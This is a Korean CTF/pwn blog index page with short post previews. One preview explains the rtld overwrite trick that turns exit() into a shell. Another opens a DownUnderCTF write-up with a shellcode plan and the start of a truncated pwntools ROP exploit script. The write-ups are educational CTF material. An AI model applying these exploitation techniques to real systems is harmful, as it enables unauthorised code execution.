CVE
·
PWN
보호되어 있는 글입니다.
rtld overwrite
·
PWN/TIP
exit함수로 실행흐름을 바꾸는 방법이있다. FULL RELRO거나 PIE base는 모르지만 libc base는 알때 사용하기 좋은 공격 기법인 것 같다! main함수에서 ret를 하게 되면 __libc_start_main+231 로 간다. 그리고 exit함수를 호출하게 되는데 exit함수는 내부적으로 __run_exit_handlers -> _dl_fini -> _rtld_lock_lock_recursive(_dl_load_lock) 이런 실행 흐름을 가지고 있다. 따라서 _rtld_lock_lock_recursive를 system으로 바꾸고 _dl_load_lock을 sh로 바꾸면 쉘이 실행될 것이다. exit가 뭔가 하기에 참 좋은 함수인거 같다
읽어볼만한 페이퍼
·
PWN/읽자
보호되어 있는 글입니다.
[darkctf] write-up
·
PWN/CTF
[DownUnderCTF] Return to what's revenge
·
PWN/CTF
seccomp, bof 문제이다. mprotect를 사용해 bss 영역에 rwx 권한을 주고난 뒤 read 함수를 사용해 bss영역에 flag.txt를 open함수를 통해 열고 read , write를 해주는 쉘코드를 만들어 쓴 후 bss영역으로 RIP를 변조했다. 아래와 같은 코드를 작동시키면 문제가 해결된다. from pwn import * s = remote("chal.duc.tf",30006) elf = ELF("./return-to-whats-revenge") libc = ELF("./libc.so") context.arch = 'amd64' pay = b"A"*0x30 pay += b"B"*8 pay += p64(0x004019db) pay += p64(elf.got['puts']) pay +..
Linux command
·
PWN/TIP
보호되어 있는 글입니다.